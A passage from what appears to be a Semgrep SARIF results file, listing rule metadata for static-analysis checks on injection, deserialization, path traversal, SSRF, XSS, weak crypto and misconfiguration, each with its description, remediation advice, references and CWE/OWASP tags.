`sandbox`."},"helpUri":"https://semgrep.dev/r/javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","id":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","name":"javascript.express.security.express-sandbox-injection.express-sandbox-code-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.express-sandbox-injection.express-sandbox-code-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The C implementations of the `pickle` module, called `cPickle` or `_pickle`, are also considered insecure."},"helpUri":"https://semgrep.dev/r/python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","id":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","name":"python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.deserialization.tainted-pickle-aws-lambda.tainted-pickle-aws-lambda"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"help":{"markdown":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization)\n - [https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks](https://docs.microsoft.com/en-us/dotnet/api/system.web.script.serialization.simpletyperesolver?view=netframework-4.8#remarks)\n","text":"The SimpleTypeResolver class is insecure and should not be used. Using SimpleTypeResolver to deserialize JSON could allow the remote client to execute malicious code within the app and take control of the web server."},"helpUri":"https://semgrep.dev/r/csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","id":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","name":"csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","LOW CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.lang.security.insecure-deserialization.javascript-serializer.insecure-javascriptserializer-deserialization"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/](https://www.stackhawk.com/blog/django-path-traversal-guide-examples-and-prevention/)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. To prevent this vulnerability, validate and sanitize any input that is used to create references to file paths. Also, enforce strict file access controls. For example, choose privileges allowing public-facing applications to access only the required files."},"helpUri":"https://semgrep.dev/r/python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","id":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","name":"python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.file.tainted-path-traversal-stdlib-django.tainted-path-traversal-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","id":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","name":"python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.deserialization.tainted-joblib-fastapi.tainted-joblib-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://dill.readthedocs.io/en/latest/index.html](https://dill.readthedocs.io/en/latest/index.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/](https://joblib.readthedocs.io/en/latest/generated/joblib.load.html/)\n - [https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures](https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. The `joblib.load()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","id":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","name":"python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.deserialization.tainted-joblib-flask.tainted-joblib-flask"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","id":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","name":"python.django.web.django-cookie-httponly-false.django-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.web.django-cookie-httponly-false.django-cookie-httponly-false"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","id":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","name":"java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.ssrf.java-http-concat-taint-sls.java-http-concat-taint-sls"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password)\n - [https://docs.rs/tokio-postgres/latest/tokio_postgres/](https://docs.rs/tokio-postgres/latest/tokio_postgres/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","id":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","name":"rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.tokio-postgres.hardcoded-connection-empty-password.hardcoded-connection-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"help":{"markdown":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.android.security.exported_activity.exported_activity)\n - [https://cwe.mitre.org/data/definitions/926.html](https://cwe.mitre.org/data/definitions/926.html)\n","text":"The application exports an activity. Any application on the device can launch the exported activity which may compromise the integrity of your application or its data.  Ensure that any exported activities do not have privileged access to your application's control plane."},"helpUri":"https://semgrep.dev/r/java.android.security.exported_activity.exported_activity","id":"java.android.security.exported_activity.exported_activity","name":"java.android.security.exported_activity.exported_activity","properties":{"precision":"very-high","tags":["CWE-926: Improper Export of Android Application Components","MEDIUM CONFIDENCE","OWASP-A5:2021 Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.android.security.exported_activity.exported_activity"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"help":{"markdown":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected DES cipher algorithm which is insecure. The algorithm is considered weak and has been deprecated. Use AES instead."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","id":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","name":"go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.crypto.use_of_weak_crypto.use-of-DES"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"help":{"markdown":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy)\n - [https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator](https://wiki.sei.cmu.edu/confluence/display/c/STR31-C.+Guarantee+that+storage+for+strings+has+sufficient+space+for+character+data+and+the+null+terminator)\n","text":"The number of bytes copied from `$STR` does not include the NUL terminator. This can lead to an out-of-bounds read and information disclosure. One extra byte should be added to the length to ensure that the NUL terminator is copied."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","id":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","name":"cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy","properties":{"precision":"very-high","tags":["CWE-125: Out-of-bounds Read","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.strings.missing-nul-cpp-string-memcpy.missing-nul-cpp-string-memcpy"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"help":{"markdown":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest)\n - [https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss](https://django-book.readthedocs.io/en/latest/chapter20.html#cross-site-scripting-xss)\n","text":"Found user-controlled request data passed into a HttpResponseBadRequest. This could be vulnerable to XSS, leading to attackers gaining access to user cookies and protected information. Ensure that the request data is properly escaped or sanitzed."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","id":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","name":"python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.reflected-data-httpresponsebadrequest.reflected-data-httpresponsebadrequest"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"help":{"markdown":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration allows for local networking, which in some iOS versions is blocked by default in ATS. Consider whether or not the application requires this in release builds, or for development reasons only. This follows the principle of least privelege, reducing the attack surface if local networking is not required."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-local.ATS-local-networking","id":"swift.insecure-communication.ats.ats-local.ATS-local-networking","name":"swift.insecure-communication.ats.ats-local.ATS-local-networking","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-local.ATS-local-networking"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a NoSQL injection vulnerability. An attacker can execute malicious NoSQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure all user input is validated and sanitized, and avoid using tainted user input to construct NoSQL statements if possible. Ideally, avoid raw queries and instead use parameterized queries."},"helpUri":"https://semgrep.dev/r/go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","id":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","name":"go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint","properties":{"precision":"very-high","tags":["CWE-943: Improper Neutralization of Special Elements in Data Query Logic","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.nosql.grpc-mongo-nosqli-taint.grpc-mongo-nosqli-taint"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint)\n - [https://golang.org/pkg/database/sql/](https://golang.org/pkg/database/sql/)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","id":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","name":"go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.sql.go-vanillasql-format-string-sqli-taint.go-vanillasql-format-string-sqli-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure Kinesis video stream is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","id":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","name":"terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-kinesis-video-stream-encrypted-with-cmk.aws-kinesis-video-stream-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration file."},"help":{"markdown":"Running `socket.bind` to 0.0.0.0, or empty string could unexpectedly expose the server publicly as it binds to all available interfaces. Consider instead getting correct address from an environment variable or configuration 